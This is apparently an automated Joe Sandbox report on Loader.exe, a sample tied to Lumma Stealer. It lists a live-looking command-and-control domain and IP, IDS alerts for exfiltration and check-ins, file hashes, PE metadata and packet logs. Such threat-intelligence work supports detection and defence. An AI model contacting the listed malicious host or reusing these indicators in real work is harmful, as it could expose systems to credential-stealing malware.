https://brendon-sharjen.biz/apiMk	Loader.exe, 00000000.00000003.1579148624.0000000000B25000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1618747429.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1577863000.0000000000B22000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.130.33	brendon-sharjen.biz	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569999
Start date and time:	2024-12-06 13:58:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 24 Number of non-executed functions: 166
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Loader.exe

Simulations

Behavior and APIs

Time	Type	Description
07:59:23	API Interceptor	7x Sleep call for process: Loader.exe modified
09:30:39	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.130.33	Dhl4500001.ace.exe	Get hash	malicious	FormBook	Browse	www.a-great-intl-voip-phones.zone/mwfc/?b8eTq46=TUnoTzMBNuScmcxU5mq2itl9IqsWXK8an6Fb6qpTLlgNUDCgCdHplC2qEs4Ea4pQcn7eodEmdw==&PfEDa=4hC8tdXxJ

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://jet.cloudhostingworks.com/CetQr/	Get hash	malicious	HTMLPhisher	Browse	104.21.112.1
	Setup.msi	Get hash	malicious	Unknown	Browse	172.67.204.246
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	104.26.12.205
	BiXS3FRoLe.exe	Get hash	malicious	TrojanRansom	Browse	104.26.13.205
	lEUy79aLAW.exe	Get hash	malicious	TrojanRansom	Browse	104.26.13.205
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	104.26.12.205
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.au	Get hash	malicious	HTMLPhisher	Browse	104.21.25.148
	https://i.postimg.cc/y6hBTtv7/png-Hand-SAward.png	Get hash	malicious	HTMLPhisher	Browse	104.21.85.204

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.130.33
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.130.33
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.130.33
	3fo6GN17jm.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc	Browse	172.67.130.33
	jW3NEKvxH1.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.130.33
	yliGAnBiRb.exe	Get hash	malicious	Unknown	Browse	172.67.130.33
	extracted_payload.exe.bin.exe	Get hash	malicious	Unknown	Browse	172.67.130.33
	YJ1Ia6bVqH.exe	Get hash	malicious	Unknown	Browse	172.67.130.33
	7Qn89l2e05.exe	Get hash	malicious	Unknown	Browse	172.67.130.33
	XA6KQrOcT2.exe	Get hash	malicious	Unknown	Browse	172.67.130.33

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Loader.exe_c7a3467ff146dec763c4e9c0d4fd160ce4dc047_60ff00a2_056041d2-9a2e-40bb-a2c3-e67806116ccf\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9961175394100575
Encrypted:	false
SSDEEP:	96:gFKgb6Ne65sUw71yDf0QXIDcQjc6qcElcw3h+a+HbHg/8BRTf3Oy1E45WAU6NJaq:gtbR65j09uPkjuriUIzuiFVZ24IO8q
MD5:	543DA7A84777F67058937C0B191E9EC0
SHA1:	191BC31AE7636AEA8F71608F174353F66957A1B2
SHA-256:	CC222BA04AD9D07701F3446E18500F89F00D645B5AD94796E920138BED3C1C29
SHA-512:	CEFE3BA8BECEE8DF7E4A0D0483FFFBE4CC9BDB05985A891B344A189FD4C083E2BF5A1469EE30DF1825A3260A2373C8D5A3DBFC86CA768A4CF5D2809E99164EB0
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.9.6.9.0.0.7.6.1.4.0.4.3.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.9.6.9.0.0.9.1.1.4.0.3.6.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.5.6.0.4.1.d.2.-.9.a.2.e.-.4.0.b.b.-.a.2.c.3.-.e.6.7.8.0.6.1.1.6.c.c.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.a.5.f.7.9.3.d.-.c.a.8.2.-.4.5.5.0.-.a.a.3.8.-.3.4.a.b.3.4.a.f.5.3.8.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.L.o.a.d.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.7.8.-.0.0.0.1.-.0.0.1.4.-.1.8.0.1.-.6.5.a.0.d.e.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.6.c.3.5.6.5.e.6.c.9.8.4.c.7.6.f.b.1.3.3.a.b.d.e.3.4.a.1.3.f.2.0.0.0.0.1.5.0.2.!.0.0.0.0.4.f.1.1.5.a.c.f.a.7.6.6.2.5.4.7.b.8.7.7.c.7.5.a.6.8.4.5.2.9.7.d.4.9.7.1.3.6.2.1.!.L.o.a.d.e.r...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4047.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Dec 6 14:30:07 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1087604
Entropy (8bit):	1.3298803974311206
Encrypted:	false
SSDEEP:	3072:4ydFVg/f9ZZmcDGlMCUEDAs8KfaSdZYCKbx7UdOhSonB:4GnEwLdOhSY
MD5:	EAC4506319657A2D6579D66F3E423566
SHA1:	75D0326C0D6CF8249CC21714CE30C7434ADD4166
SHA-256:	D91888B20161B07CC764B62A01B7AE09BB4A8AD03A1A2873805B85221E2F1106
SHA-512:	F514C533776BCC59C6D796567D6565FC894E813876777726AD0E7E6CD4603FF7BB5A0738283BFA59AF215C6E984137CA28F6F86EAA088256FF1E497E1ECFDE4F
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......o.Sg............4...............H.......,...X...........X1..........`.......8...........T............@...W........... ..........p"..............................................................................eJ.......#......GenuineIntel............T.......x.....Rg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4569.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8320
Entropy (8bit):	3.6948690089310388
Encrypted:	false
SSDEEP:	192:R6l7wVeJMe6o6l6YNQ1SU9solxmKgmfEkJPanNpDG89b1EsfhHm:R6lXJt6Zl6Yu1SU9soDmKgmfEkJPy13U
MD5:	6E442A13E756BA69AC85533FE143EDBC
SHA1:	8AA4222CD498FC4102B0D2CFAAADB9FA60785970
SHA-256:	10B98919A5CAFA2AE7952CE83E930F528FB9D404909D6B552FC1E123280A2C56
SHA-512:	8CE17BA9D846719268961586368B7785195801FE07EB63A926CF35A1E95B00230BD09956A8073B91CB34206A6CA9FEE20C795F528710C36E61D47F82329A92CE
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.9.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4599.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4569
Entropy (8bit):	4.434198857176099
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZKJg77aI9GhWpW8VY/Ym8M4JH8ZFBo+q8A97Pvidgd:uIjfiI7ww7VbJcdo57Cdgd
MD5:	2E6F608AD183FC2F575AC62978921D20
SHA1:	FF80AC43293B6E7D0917E5DD768FDBD8BE637B36
SHA-256:	C2F52FCF27001BE8FB092779A33DADE4F0993E338C8CFD705227C294CF76880A
SHA-512:	6E8DEC4ACA5ADC4495AA1B0A2CBD13F81EBE2FFA4DD48737AC14AF9D88080D176E9FB920630A3F452CD4484A06E7E870F9BCB4EAA3C97B05A537D1D2507DC28C
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="619532" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416559717978302
Encrypted:	false
SSDEEP:	6144:Icifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuN+5+:9i58oSWIZBk2MM6AFBUo
MD5:	4FAAA13EE22D5EEA585FA582F978D891
SHA1:	6A7808652B07342790183D56B0854A8FEE37BB86
SHA-256:	67177D6EB1E52CA738ACC9A3C31FE843FBA6EE6D7764CA9D1BF0A97F52FB8851
SHA-512:	70AE0D20317C40E54C0DF3B0E10F01DE6FBF9C19BADB7A3750F18E82BFD4CA3F9DBEFB7E5C69DF5425A201941FF4FEF420E5998BDD211B103A2CA45EB4D448D4
Malicious:	false
Reputation:	low
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...X.G...............................................................................................................................................................................................................................................................................................................................................[.l........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.675364386717139
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Loader.exe
File size:	306'176 bytes
MD5:	eb604e2a70243acb885fe5a944a647c3
SHA1:	4f115acfa7662547b877c75a6845297d49713621
SHA256:	573c1ce9085c71b0a2e2ee2c96fe3b47d3f941bf5e23e3f46289135eaa153d26
SHA512:	7db14e91f19fcab5ac29d4a30d500bc0b115195233c58e6362cfbe2466ceb74c2de5b4cfa7ed38dc2ecaa3d4323573f266c67c71949d69c0ccdcb439b40fb83c
SSDEEP:	6144:bS+md7kdWDdKOQKA6GOAgsO81PsRIB1Xtgmu9OMRBUU:b5WCc+16G0sf1P7B1Xtgmu9TR
TLSH:	D154CFA036F14579E3F35A701970B6604ABFB867BA31508E2778127F4E31BD28AA1717
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9.~.}...}...}...c...a...c...i...c...%...Zqk.x...}.......c...\|...c...\|...c...\|...Rich}...........PE..L......d...................

File Icon


Icon Hash:	e80a25292b270d31

Static PE Info

General

Entrypoint:	0x401663
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6485A584 [Sun Jun 11 10:44:20 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	9963a336745eeee95bd9d4372f45eb05

Entrypoint Preview

Instruction
call 00007F74E4B451C1h
jmp 00007F74E4B4247Dh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [004408A8h], eax
mov dword ptr [004408A4h], ecx
mov dword ptr [004408A0h], edx
mov dword ptr [0044089Ch], ebx
mov dword ptr [00440898h], esi
mov dword ptr [00440894h], edi
mov word ptr [004408C0h], ss
mov word ptr [004408B4h], cs
mov word ptr [00440890h], ds
mov word ptr [0044088Ch], es
mov word ptr [00440888h], fs
mov word ptr [00440884h], gs
pushfd
pop dword ptr [004408B8h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004408ACh], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [004408B0h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [004408BCh], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [004407F8h], 00010001h
mov eax, dword ptr [004408B0h]
mov dword ptr [004407ACh], eax
mov dword ptr [004407A0h], C0000409h
mov dword ptr [004407A4h], 00000001h
mov eax, dword ptr [0043E008h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0043E00Ch]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000C4h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c8f4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x41a000	0x8078	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3b000	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3977c	0x39800	2109f57782625a64afc611ba3715bf9a	False	0.8013332201086957	data	7.325082725783845	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3b000	0x21b8	0x2200	00a96ec8cc1ebe22361fb88e4df8167b	False	0.3810891544117647	data	5.584408626287394	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x3db0d8	0x6c00	bdf26eb35ea7446f66c65ca705ec17d5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x41a000	0x8078	0x8200	0ea4cc17004461c4cf16227fca37ce94	False	0.43740985576923075	data	4.602355348382056	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x41a400	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Syriac	Syriac	0.3872601279317697
RT_ICON	0x41b2a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Syriac	Syriac	0.5482851985559567
RT_ICON	0x41bb50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Syriac	Syriac	0.6163594470046083
RT_ICON	0x41c218	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Syriac	Syriac	0.6459537572254336
RT_ICON	0x41c780	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Syriac	Syriac	0.3954033771106942
RT_ICON	0x41d828	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Syriac	Syriac	0.3897540983606557
RT_ICON	0x41e1b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Syriac	Syriac	0.4423758865248227
RT_STRING	0x41e830	0x5ea	data			0.43659180977542933
RT_STRING	0x41ee20	0x3b2	data			0.4682875264270613
RT_STRING	0x41f1d8	0x10a	data			0.5300751879699248
RT_STRING	0x41f2e8	0x760	data			0.4242584745762712
RT_STRING	0x41fa48	0x756	data			0.426517571884984
RT_STRING	0x4201a0	0x5e8	data			0.44047619047619047
RT_STRING	0x420788	0x672	data			0.4309090909090909
RT_STRING	0x420e00	0x73c	data			0.42548596112311016
RT_STRING	0x421540	0x6a4	data			0.4388235294117647
RT_STRING	0x421be8	0x48a	data			0.4621342512908778
RT_GROUP_ICON	0x41e618	0x68	data	Syriac	Syriac	0.7115384615384616
RT_VERSION	0x41e680	0x1b0	data			0.5740740740740741

Imports

DLL

Import

KERNEL32.dll

GetThreadContext, SetProcessAffinityMask, GetFileSize, GetLocaleInfoA, GetConsoleAliasExesLengthA, WriteConsoleOutputCharacterA, InterlockedDecrement, SetDefaultCommConfigW, GetEnvironmentStringsW, Process32First, InterlockedCompareExchange, GetTimeFormatA, GetModuleHandleW, FormatMessageA, ReadConsoleOutputA, GetCommandLineA, SetProcessPriorityBoost, GetVolumePathNameW, GlobalAlloc, LoadLibraryW, GetSystemWindowsDirectoryA, GetStringTypeExW, GetFileAttributesA, GetConsoleAliasW, Beep, WriteConsoleW, DisconnectNamedPipe, GetConsoleAliasesW, GetLastError, GetProcAddress, OpenWaitableTimerA, RegisterWaitForSingleObject, MoveFileA, AddAtomW, SetCommMask, GetModuleFileNameA, UpdateResourceW, BuildCommDCBA, FindAtomW, OpenFileMappingA, SetFileAttributesW, HeapAlloc, Sleep, ExitProcess, GetStartupInfoA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, VirtualAlloc, HeapReAlloc, HeapCreate, WriteFile, GetStdHandle, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, LoadLibraryA, InitializeCriticalSectionAndSpinCount, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, SetHandleCount, GetFileType, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapSize, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetModuleHandleA

USER32.dll

GetMonitorInfoW, GetClassLongW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Syriac	Syriac

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T13:59:18.799317+0100	2058039	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (brendon-sharjen .biz)	1	192.168.2.7	62885	1.1.1.1	53	UDP
2024-12-06T13:59:20.362405+0100	2058040	ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)	1	192.168.2.7	49700	172.67.130.33	443	TCP
2024-12-06T13:59:20.362405+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	172.67.130.33	443	TCP
2024-12-06T13:59:24.445755+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49700	172.67.130.33	443	TCP
2024-12-06T13:59:24.445755+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	172.67.130.33	443	TCP
2024-12-06T13:59:25.877037+0100	2058040	ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)	1	192.168.2.7	49719	172.67.130.33	443	TCP
2024-12-06T13:59:25.877037+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49719	172.67.130.33	443	TCP
2024-12-06T13:59:29.378383+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49719	172.67.130.33	443	TCP
2024-12-06T13:59:29.378383+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49719	172.67.130.33	443	TCP
2024-12-06T13:59:30.886186+0100	2058040	ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)	1	192.168.2.7	49731	172.67.130.33	443	TCP
2024-12-06T13:59:30.886186+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49731	172.67.130.33	443	TCP
2024-12-06T13:59:34.824473+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49731	172.67.130.33	443	TCP
2024-12-06T13:59:36.131822+0100	2058040	ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)	1	192.168.2.7	49747	172.67.130.33	443	TCP
2024-12-06T13:59:36.131822+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49747	172.67.130.33	443	TCP
2024-12-06T13:59:40.744663+0100	2058040	ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)	1	192.168.2.7	49758	172.67.130.33	443	TCP
2024-12-06T13:59:40.744663+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49758	172.67.130.33	443	TCP
2024-12-06T13:59:44.944286+0100	2058040	ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)	1	192.168.2.7	49769	172.67.130.33	443	TCP
2024-12-06T13:59:44.944286+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49769	172.67.130.33	443	TCP
2024-12-06T13:59:49.466915+0100	2058040	ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)	1	192.168.2.7	49780	172.67.130.33	443	TCP
2024-12-06T13:59:49.466915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49780	172.67.130.33	443	TCP
2024-12-06T13:59:54.447187+0100	2058040	ET MALWARE Observed Win32/Lumma Stealer Related Domain (brendon-sharjen .biz in TLS SNI)	1	192.168.2.7	49791	172.67.130.33	443	TCP
2024-12-06T13:59:54.447187+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49791	172.67.130.33	443	TCP
2024-12-06T13:59:57.762110+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49791	172.67.130.33	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 13:59:19.138232946 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:19.138278961 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:19.138422012 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:19.141000986 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:19.141012907 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:20.362289906 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:20.362405062 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:20.386768103 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:20.386801004 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:20.387104988 CET	443	49700	172.67.130.33	192.168.2.7
Dec 6, 2024 13:59:20.522483110 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:20.563532114 CET	49700	443	192.168.2.7	172.67.130.33
Dec 6, 2024 13:59:20.563570023 CET	49700	443	192.168.2.7	172.67.130.33
